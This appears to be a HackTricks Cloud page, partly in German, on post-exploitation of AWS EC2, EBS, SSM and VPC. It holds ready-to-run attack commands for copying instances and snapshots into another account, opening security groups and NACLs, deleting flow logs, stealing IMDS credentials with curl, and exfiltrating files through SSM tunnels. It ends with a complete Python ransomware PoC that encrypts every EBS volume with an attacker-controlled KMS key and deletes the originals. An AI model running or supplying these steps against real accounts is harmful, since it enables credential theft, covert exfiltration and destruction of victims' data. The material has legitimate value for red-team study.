AWS - EC2, EBS, SSM & VPC Post Exploitation
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
EC2 & VPC
Für weitere Informationen siehe:
AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum
Bösartiger VPC-Mirror - ec2:DescribeInstances, ec2:RunInstances, ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress, ec2:CreateTrafficMirrorTarget, ec2:CreateTrafficMirrorSession, ec2:CreateTrafficMirrorFilter, ec2:CreateTrafficMirrorFilterRule
VPC traffic mirroring dupliziert eingehenden und ausgehenden Traffic für EC2-Instanzen innerhalb einer VPC ohne dass etwas auf den Instanzen selbst installiert werden muss. Dieser duplizierte Traffic würde üblicherweise an etwas wie ein network intrusion detection system (IDS) zur Analyse und Überwachung gesendet werden.
Ein Angreifer könnte dies missbrauchen, um den gesamten Traffic abzufangen und daraus sensible Informationen zu erhalten:
Für weitere Informationen siehe diese Seite:
Kopie einer laufenden Instanz
Instanzen enthalten normalerweise irgendwelche sensiblen Informationen. Es gibt verschiedene Wege, hineinzukommen (siehe EC2 privilege escalation tricks). Eine andere Möglichkeit, um zu prüfen, was sie enthält, ist jedoch, ein AMI zu erstellen und daraus eine neue Instanz (auch in deinem eigenen Account) zu starten:
# List instances
aws ec2 describe-images
# create a new image for the instance-id
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1
# add key to AWS
aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1
# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1
# now you can check the instance
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1
# If needed : edit groups
aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01" --region eu-west-1
# be a good guy, clean our instance to avoid any useless cost
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
EBS Snapshot dump
Snapshots are backups of volumes, die normalerweise sensible Daten enthalten, daher sollte deren Überprüfung diese Informationen offenlegen.
Wenn du ein volume without a snapshot findest, könntest du: Create a snapshot und die folgenden Aktionen ausführen oder es einfach mount it in an instance innerhalb des Accounts:
Covert Disk Exfiltration via AMI Store-to-S3
Export an EC2 AMI straight to S3 using CreateStoreImageTask to obtain a raw disk image without snapshot sharing. Dies ermöglicht vollständige Offline-Forensik oder Datendiebstahl, während das Instance-Netzwerk unangetastet bleibt.
AWS – Covert Disk Exfiltration via AMI Store-to-S3 (CreateStoreImageTask)
Live Data Theft via EBS Multi-Attach
Attach an io1/io2 Multi-Attach volume to a second instance and mount it read-only to siphon live data without snapshots. Nützlich, wenn das victim volume bereits Multi-Attach im selben AZ aktiviert ist.
AWS - Live Data Theft via EBS Multi-Attach
EC2 Instance Connect Endpoint Backdoor
Create an EC2 Instance Connect Endpoint, authorize ingress, and inject ephemeral SSH keys to access private instances over a managed tunnel. Ermöglicht schnelle lateral movement-Pfade, ohne öffentliche Ports zu öffnen.
AWS - EC2 Instance Connect Endpoint backdoor + ephemeral SSH key injection
EC2 ENI Secondary Private IP Hijack
Move a victim ENI’s secondary private IP to an attacker-controlled ENI to impersonate trusted hosts that are allowlisted by IP. Damit lassen sich interne ACLs oder SG rules umgehen, die an bestimmte Adressen gebunden sind.
AWS – EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass)
Elastic IP Hijack for Ingress/Egress Impersonation
Reassociate an Elastic IP from the victim instance to the attacker to intercept inbound traffic or originate outbound connections that appear to come from trusted public IPs. So können eingehende Verbindungen abgefangen oder ausgehende Verbindungen initiiert werden, die von trusted public IPs zu stammen scheinen.
AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation
Security Group Backdoor via Managed Prefix Lists
If a security group rule references a customer-managed prefix list, adding attacker CIDRs to the list silently expands access across every dependent SG rule without modifying the SG itself.
AWS - Security Group Backdoor via Managed Prefix Lists
VPC Endpoint Egress Bypass
Create gateway or interface VPC endpoints to regain outbound access from isolated subnets. Die Nutzung von AWS-managed private links umgeht fehlende IGW/NAT-Kontrollen für Data exfiltration.
AWS – Egress Bypass from Isolated Subnets via VPC Endpoints
ec2:AuthorizeSecurityGroupIngress
An attacker with the ec2:AuthorizeSecurityGroupIngress permission can add inbound rules to security groups (for example, allowing tcp:80 from 0.0.0.0/0), thereby exposing internal services to the public Internet or to otherwise unauthorized networks.
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
ec2:ReplaceNetworkAclEntry
Ein Angreifer mit ec2:ReplaceNetworkAclEntry (oder ähnlichen Berechtigungen) kann die Network ACLs (NACLs) eines subnets so ändern, dass sie sehr permissiv werden — z. B. 0.0.0.0/0 auf kritischen Ports erlauben — und damit den gesamten Subnet-Bereich dem Internet oder unautorisierten Netzwerksegmenten aussetzen. Im Gegensatz zu Security Groups, die per-instance angewendet werden, werden NACLs auf Subnet-Ebene angewendet, sodass das Ändern einer restriktiven NACL einen deutlich größeren blast radius haben kann, da so der Zugriff auf viele weitere Hosts ermöglicht wird.
aws ec2 replace-network-acl-entry \
--network-acl-id <ACL_ID> \
--rule-number 100 \
--protocol <PROTOCOL> \
--rule-action allow \
--egress <true|false> \
--cidr-block 0.0.0.0/0
ec2:Delete*
Ein Angreifer mit ec2:Delete*- und iam:Remove*-Rechten kann kritische Infrastrukturressourcen und -konfigurationen löschen — zum Beispiel key pairs, launch templates/versions, AMIs/snapshots, volumes oder attachments, security groups oder rules, ENIs/network endpoints, route tables, gateways oder managed endpoints. Dies kann unmittelbare Dienstunterbrechungen, Datenverlust und den Verlust forensischer Beweise verursachen.
One example is deleting a security group:
aws ec2 delete-security-group
–group-id <SECURITY_GROUP_ID>
VPC Flow Logs Cross-Account Exfiltration
Leiten Sie VPC Flow Logs auf ein vom Angreifer kontrolliertes S3 bucket, um fortlaufend Netzwerk-Metadaten (source/destination, ports) außerhalb des Opfer-Accounts für langfristige Aufklärung zu sammeln.
AWS - VPC Flow Logs Cross-Account Exfiltration to S3
Data Exfiltration
DNS Exfiltration
Even if you lock down an EC2 so no traffic can get out, it can still exfil via DNS.
- VPC Flow Logs werden dies nicht aufzeichnen.
- Sie haben keinen Zugriff auf AWS DNS logs.
- Deaktivieren Sie dies, indem Sie “enableDnsSupport” auf false setzen mit:
aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>
Exfiltration via API calls
Ein Angreifer könnte API-Endpunkte eines von ihm kontrollierten Accounts aufrufen. Cloudtrail wird diese Aufrufe protokollieren und der Angreifer wird die exfiltrate data in den Cloudtrail-Logs sehen können.
Open Security Group
Sie könnten weiteren Zugriff auf Netzwerkdienste erhalten, indem Sie Ports wie folgt öffnen:
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
Privesc zu ECS
Es ist möglich, eine EC2-Instanz zu betreiben und sie so zu registrieren, dass sie zum Ausführen von ECS-Instanzen verwendet wird, und anschließend die Daten der ECS-Instanzen zu stehlen.
For more information check this.
ECS-on-EC2 IMDS Abuse and ECS Agent Impersonation (ECScape)
Bei ECS mit dem EC2 launch type übernimmt die Control Plane jede Task-Rolle und schiebt die temporären Anmeldeinformationen über den Agent Communication Service (ACS) WebSocket-Kanal an den ECS-Agenten. Der Agent stellt diese Anmeldeinformationen dann den Containern über den Task-Metadata-Endpunkt (169.254.170.2) zur Verfügung. Die ECScape-Forschung zeigt, dass, wenn ein Container IMDS erreichen und das instance profile stehlen kann, er den Agenten über ACS imitieren und jede Task-Rollen-Anmeldeinformation auf diesem Host erhalten kann, einschließlich task execution role-Anmeldeinformationen, die nicht über den Metadata-Endpunkt exponiert sind.
Angriffskette
- Steal the container instance role from IMDS. Der Zugriff auf IMDS ist erforderlich, um die Host-Rolle zu erhalten, die vom ECS-Agenten verwendet wird.
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/{InstanceProfileName}
- Discover the ACS poll endpoint and required identifiers. Mit den Instance-Role-Anmeldeinformationen ruft man
ecs:DiscoverPollEndpointauf, um den ACS-Endpunkt zu erhalten und Bezeichner wie die cluster ARN und container instance ARN zu sammeln. Die cluster ARN ist via Task-Metadata (169.254.170.2/v4/) exponiert, während die container instance ARN über die Agent-Introspektion-API oder (falls erlaubt)ecs:ListContainerInstancesbeschafft werden kann. - Impersonate the ECS agent over ACS. Initiere eine SigV4-signed WebSocket-Verbindung zum Poll-Endpunkt und füge
sendCredentials=truehinzu. ECS akzeptiert die Verbindung als gültige Agent-Session und beginnt,IamRoleCredentials-Nachrichten für alle Tasks auf der Instanz zu streamen. Das schließt task execution role-Anmeldeinformationen ein, die ECR-Pulls, Secrets Manager-Abfragen oder CloudWatch Logs-Zugriffe ermöglichen können.
Find the PoC in https://github.com/naorhaziz/ecscape
IMDS-Erreichbarkeit mit IMDSv2 + Hop-Limit 1
Das Setzen von IMDSv2 mit HttpTokens=required und HttpPutResponseHopLimit=1 blockiert nur Tasks, die sich hinter einem zusätzlichen Hop (Docker-Bridge) befinden. Andere Netzwerkmodi bleiben innerhalb eines Hops zum Nitro-Controller und erhalten weiterhin Antworten:
| ECS network mode | IMDS erreichbar? | Reason |
|---|---|---|
awsvpc | ✅ | Jeder Task erhält sein eigenes ENI, das weiterhin nur einen Hop von IMDS entfernt ist, sodass Tokens und Metadaten-Antworten erfolgreich ankommen. |
host | ✅ | Tasks teilen den Host-Namespace, daher sehen sie dieselbe Hop-Distanz wie die EC2-Instanz. |
bridge | ❌ | Antworten werden auf der Docker-Bridge verworfen, weil der zusätzliche Hop das Hop-Limit aufbraucht. |
Daher darfst du niemals davon ausgehen, dass Hop-Limit 1 awsvpc- oder host-mode-Workloads schützt — teste immer aus deinen Containern heraus.
Erkennen von IMDS-Blocks pro Netzwerkmodus
-
awsvpc tasks: Security groups, NACLs oder Routing-Änderungen können die link-local-Adresse 169.254.169.254 nicht blockieren, weil Nitro sie auf dem Host injiziert. Prüfe
/etc/ecs/ecs.configaufECS_AWSVPC_BLOCK_IMDS=true. Wenn die Option fehlt (Standard), kannst du IMDS direkt vom Task aus per curl anfragen. Wenn sie gesetzt ist, pivotiere in den Host/Agent-Namespace, um sie zurückzusetzen, oder führe deine Tools außerhalb von awsvpc aus. -
bridge mode: Wenn Metadatenanfragen fehlschlagen, obwohl Hop-Limit 1 konfiguriert ist, haben Verteidiger wahrscheinlich eine
DOCKER-USER-Drop-Regel eingefügt wie--in-interface docker+ --destination 169.254.169.254/32 --jump DROP. Das Auflisten mitiptables -S DOCKER-USERzeigt dies, und Root-Zugriff erlaubt es dir, die Regel zu löschen oder neu zu ordnen, bevor du IMDS abfragst. -
host mode: Untersuche die Agent-Konfiguration auf
ECS_ENABLE_TASK_IAM_ROLE_NETWORK_HOST=false. Diese Einstellung entfernt Task-IAM-Rollen vollständig, sodass du sie entweder wieder aktivieren, zu awsvpc-Tasks wechseln oder Anmeldeinformationen über einen anderen Prozess auf dem Host stehlen musst. Wenn der Werttrueist (Standard), kann jeder Host-Mode-Prozess — einschließlich kompromittierter Container — auf IMDS zugreifen, es sei denn, maßgeschneiderte eBPF/cgroup-Filter zielen auf 169.254.169.254; suche nach tc/eBPF-Programmen oder iptables-Regeln, die diese Adresse referenzieren.
Latacora hat sogar Terraform validation code veröffentlicht, den du in ein Zielkonto legen kannst, um aufzulisten, welche Netzwerkmodi noch Metadaten exponieren und deinen nächsten Schritt entsprechend zu planen.
Sobald du verstanden hast, welche Modi IMDS exponieren, kannst du deinen post-exploitation-Pfad planen: Ziel ist jeder ECS-Task, fordere das instance profile an, impersonate den Agenten und sammle jede andere Task-Rolle für laterale Bewegung oder Persistenz innerhalb des Clusters.
VPC flow logs entfernen
aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
SSM-Portweiterleitung
Erforderliche Berechtigungen:
ssm:StartSession
Neben der Ausführung von Befehlen erlaubt SSM auch Traffic-Tunneling, das missbraucht werden kann, um von EC2-Instanzen zu pivoten, die aufgrund von Security Groups oder NACLs keinen Netzwerkzugang haben. Ein Szenario, in dem das nützlich ist, ist das Pivoting von einem Bastion Host zu einem privaten EKS-Cluster.
Um eine Session zu starten, muss das SessionManagerPlugin installiert sein: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
- Installiere das SessionManagerPlugin auf deinem Rechner
- Melde dich am Bastion EC2 mit folgendem Befehl an:
aws ssm start-session --target "$INSTANCE_ID"
- Hole die Bastion EC2 AWS credentials mit dem Abusing SSRF in AWS EC2 environment script
- Übertrage die credentials auf deine eigene Maschine in die Datei
$HOME/.aws/credentialsals[bastion-ec2]profile - Melde dich bei EKS als Bastion EC2 an:
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
- Aktualisiere das
server-Feld in der Datei$HOME/.kube/config, damit es aufhttps://localhostzeigt - Erstelle einen SSM-Tunnel wie folgt:
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
- Der Datenverkehr des Tools
kubectlwird nun durch den SSM-Tunnel über die Bastion EC2 weitergeleitet, und du kannst von deinem eigenen Rechner aus auf das private EKS-Cluster zugreifen, indem du folgendes ausführst:
kubectl get pods --insecure-skip-tls-verify
Beachte, dass die SSL-Verbindungen fehlschlagen, sofern du nicht das Flag --insecure-skip-tls-verify (oder das entsprechende Pendant in K8s audit tools) setzt. Da der Traffic durch den sicheren AWS SSM-Tunnel geleitet wird, bist du vor jeglichen MitM-Angriffen geschützt.
Schließlich ist diese Technik nicht speziell auf Angriffe gegen private EKS-Cluster beschränkt. Du kannst beliebige Domains und Ports setzen, um auf jeden anderen AWS-Service oder eine benutzerdefinierte Anwendung zu pivoten.
Schnelles Lokal ↔️ Remote Port Forward (AWS-StartPortForwardingSession)
Wenn du nur einen TCP-Port vom EC2-Instance zu deinem lokalen Host weiterleiten musst, kannst du das SSM-Dokument AWS-StartPortForwardingSession verwenden (kein remote host-Parameter erforderlich):
aws ssm start-session --target i-0123456789abcdef0 \
--document-name AWS-StartPortForwardingSession \
--parameters "portNumber"="8000","localPortNumber"="8000" \
--region <REGION>
Der Befehl stellt einen bidirektionalen Tunnel zwischen Ihrer Workstation (localPortNumber) und dem ausgewählten Port (portNumber) auf der Instanz her, ohne dabei eingehende Security-Group rules zu öffnen.
Häufige Anwendungsfälle:
- File exfiltration
- Auf der Instanz starten Sie einen schnellen HTTP-Server, der auf das Verzeichnis zeigt, das Sie exfiltrieren möchten:
python3 -m http.server 8000
- Von Ihrer Workstation holen Sie die Dateien über den SSM-Tunnel:
curl http://localhost:8000/loot.txt -o loot.txt
- Zugriff auf interne Webanwendungen (z. B. Nessus)
# Forward remote Nessus port 8834 to local 8835
aws ssm start-session --target i-0123456789abcdef0 \
--document-name AWS-StartPortForwardingSession \
--parameters "portNumber"="8834","localPortNumber"="8835"
# Browse to http://localhost:8835
Tipp: Komprimiere und verschlüssele Beweismaterial vor dem exfiltrating, damit CloudTrail den clear-text content nicht protokolliert:
# On the instance
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
AMI freigeben
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
Nach sensiblen Informationen in öffentlichen und privaten AMIs suchen
- https://github.com/saw-your-packet/CloudShovel: CloudShovel ist ein Tool, das entwickelt wurde, nach sensiblen Informationen in öffentlichen oder privaten Amazon Machine Images (AMIs) zu suchen. Es automatisiert den Prozess, Instanzen aus Ziel-AMIs zu starten, deren Volumes zu mounten und nach potenziellen Secrets oder sensiblen Daten zu scannen.
EBS Snapshot teilen
aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
EBS Ransomware PoC
Ein Proof-of-Concept ähnlich der Ransomware-Demonstration in den S3 post-exploitation notes. KMS sollte angesichts der einfachen Nutzung zur Verschlüsselung verschiedener AWS-Services in RMS (Ransomware Management Service) umbenannt werden.
Zuerst: Erstelle aus einem ‘attacker’ AWS-Konto einen customer managed key in KMS. Für dieses Beispiel lässt du AWS die key data verwalten, aber in einem realistischen Szenario würde ein böswilliger Akteur die key data außerhalb der Kontrolle von AWS behalten. Ändere die key policy so, dass jeder AWS account Principal den key verwenden kann. Für diese key policy hieß das Konto ‘AttackSim’ und die Policy-Regel, die vollen Zugriff erlaubt, heißt ‘Outside Encryption’.
{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Outside Encryption",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey",
"kms:GenerateDataKeyWithoutPlainText",
"kms:CreateGrant"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:CreateGrant",
"kms:ListGrants",
"kms:RevokeGrant"
],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}
Die Key-Policy-Regel muss Folgendes aktiviert haben, damit sie zum Verschlüsseln eines EBS-Volumes verwendet werden kann:
kms:CreateGrantkms:Decryptkms:DescribeKeykms:GenerateDataKeyWithoutPlainTextkms:ReEncrypt
Nun, da der öffentlich zugängliche Key zur Verfügung steht. Wir können ein ‘victim’ account verwenden, das einige EC2-Instanzen mit angehängten unverschlüsselten EBS-Volumes laufen hat. Die EBS-Volumes dieses ‘victim’-Accounts sind das Ziel der Verschlüsselung; dieser Angriff geht von einer angenommenen Kompromittierung eines AWS-Accounts mit hohen Privilegien aus.
Ähnlich zum S3 ransomware example. Dieser Angriff erstellt Kopien der angehängten EBS-Volumes mittels Snapshots, verwendet den öffentlich verfügbaren Key aus dem ‘attacker’-Account, um die neuen EBS-Volumes zu verschlüsseln, trennt dann die originalen EBS-Volumes von den EC2-Instanzen und löscht sie, und löscht schließlich die Snapshots, die zur Erstellung der neu verschlüsselten EBS-Volumes verwendet wurden.
Das Ergebnis sind nur noch verschlüsselte EBS-Volumes, die im Account verfügbar sind.
Ebenfalls bemerkenswert: Das Skript hat die EC2-Instanzen gestoppt, um die originalen EBS-Volumes zu trennen und zu löschen. Die ursprünglichen unverschlüsselten Volumes sind nun weg.
Als Nächstes kehre zur Key-Policy im ‘attacker’-Account zurück und entferne die ‘Outside Encryption’-Regel aus der Key-Policy.
{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": ["kms:CreateGrant", "kms:ListGrants", "kms:RevokeGrant"],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}
Warten Sie einen Moment, bis die neu gesetzte key policy propagiert ist. Kehren Sie dann zum ‘victim’ account zurück und versuchen Sie, eines der neu verschlüsselten EBS-Volumes anzuhängen. Sie werden feststellen, dass Sie das Volume anhängen können.
Wenn Sie jedoch versuchen, die EC2 instance mit dem verschlüsselten EBS-Volume wieder zu starten, schlägt dies fehl und der Zustand wechselt dauerhaft von ‘pending’ zurück zu ‘stopped’, da das angehängte EBS-Volume nicht mit dem key entschlüsselt werden kann, weil die key policy dies nicht mehr erlaubt.
Dies ist das verwendete python script. Es nimmt AWS creds für einen ‘victim’ account und einen öffentlich verfügbaren AWS ARN-Wert für den zur Verschlüsselung verwendeten key. Das Script erstellt verschlüsselte Kopien ALLER verfügbaren EBS-Volumes, die an ALLE EC2 instances im Ziel-AWS-account angehängt sind, stoppt dann jede EC2 instance, trennt die ursprünglichen EBS-Volumes, löscht sie und entfernt schließlich alle während des Prozesses verwendeten snapshots. Dadurch verbleiben im Ziel-‘victim’ account nur noch verschlüsselte EBS-Volumes. NUR IN EINER TESTUMGEBUNG VERWENDEN, DAS SCRIPT IST DESTRUKTIV UND LÖSCHT ALLE ORIGINALEN EBS-VOLUMES. Sie können diese mit dem verwendeten KMS key wiederherstellen und über snapshots in den ursprünglichen Zustand zurückbringen, aber ich möchte Sie darauf hinweisen, dass dies letztlich ein ransomware PoC ist.
import boto3
import argparse
from botocore.exceptions import ClientError
def enumerate_ec2_instances(ec2_client):
instances = ec2_client.describe_instances()
instance_volumes = {}
for reservation in instances['Reservations']:
for instance in reservation['Instances']:
instance_id = instance['InstanceId']
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
instance_volumes[instance_id] = volumes
return instance_volumes
def snapshot_volumes(ec2_client, volumes):
snapshot_ids = []
for volume_id in volumes:
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
snapshot_ids.append(snapshot['SnapshotId'])
return snapshot_ids
def wait_for_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])
def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
new_volume_ids = []
for snapshot_id in snapshot_ids:
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
volume_id = snapshot_info['VolumeId']
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
availability_zone = volume_info['AvailabilityZone']
volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
Encrypted=True, KmsKeyId=kms_key_arn)
new_volume_ids.append(volume['VolumeId'])
return new_volume_ids
def stop_instances(ec2_client, instance_ids):
for instance_id in instance_ids:
try:
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']
if instance_state == 'running':
ec2_client.stop_instances(InstanceIds=[instance_id])
print(f"Stopping instance: {instance_id}")
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
print(f"Instance {instance_id} stopped.")
else:
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")
except ClientError as e:
print(f"Error stopping instance {instance_id}: {e}")
def detach_and_delete_volumes(ec2_client, volumes):
for volume_id in volumes:
try:
ec2_client.detach_volume(VolumeId=volume_id)
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
ec2_client.delete_volume(VolumeId=volume_id)
print(f"Deleted volume: {volume_id}")
except ClientError as e:
print(f"Error detaching or deleting volume {volume_id}: {e}")
def delete_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
try:
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
print(f"Deleted snapshot: {snapshot_id}")
except ClientError as e:
print(f"Error deleting snapshot {snapshot_id}: {e}")
def replace_volumes(ec2_client, instance_volumes):
instance_ids = list(instance_volumes.keys())
stop_instances(ec2_client, instance_ids)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
detach_and_delete_volumes(ec2_client, all_volumes)
def ebs_lock(access_key, secret_key, region, kms_key_arn):
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)
instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn) # New encrypted volumes are created but not attached
replace_volumes(ec2_client, instance_volumes) # Stops instances, detaches and deletes old volumes
delete_snapshots(ec2_client, snapshot_ids) # Optionally delete snapshots if no longer needed
def parse_arguments():
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
parser.add_argument('--region', required=True, help='AWS Region')
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
return parser.parse_args()
def main():
args = parse_arguments()
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)
instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
replace_volumes(ec2_client, instance_volumes)
delete_snapshots(ec2_client, snapshot_ids)
if __name__ == "__main__":
main()
Referenzen
- https://www.sweet.security/blog/ecscape-understanding-iam-privilege-boundaries-in-amazon-ecs
- Latacora - ECS on EC2: Covering Gaps in IMDS Hardening
- Latacora ecs-on-ec2-gaps-in-imds-hardening Terraform repo
- Pentest Partners – Wie man Dateien in AWS mit SSM überträgt
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks Cloud

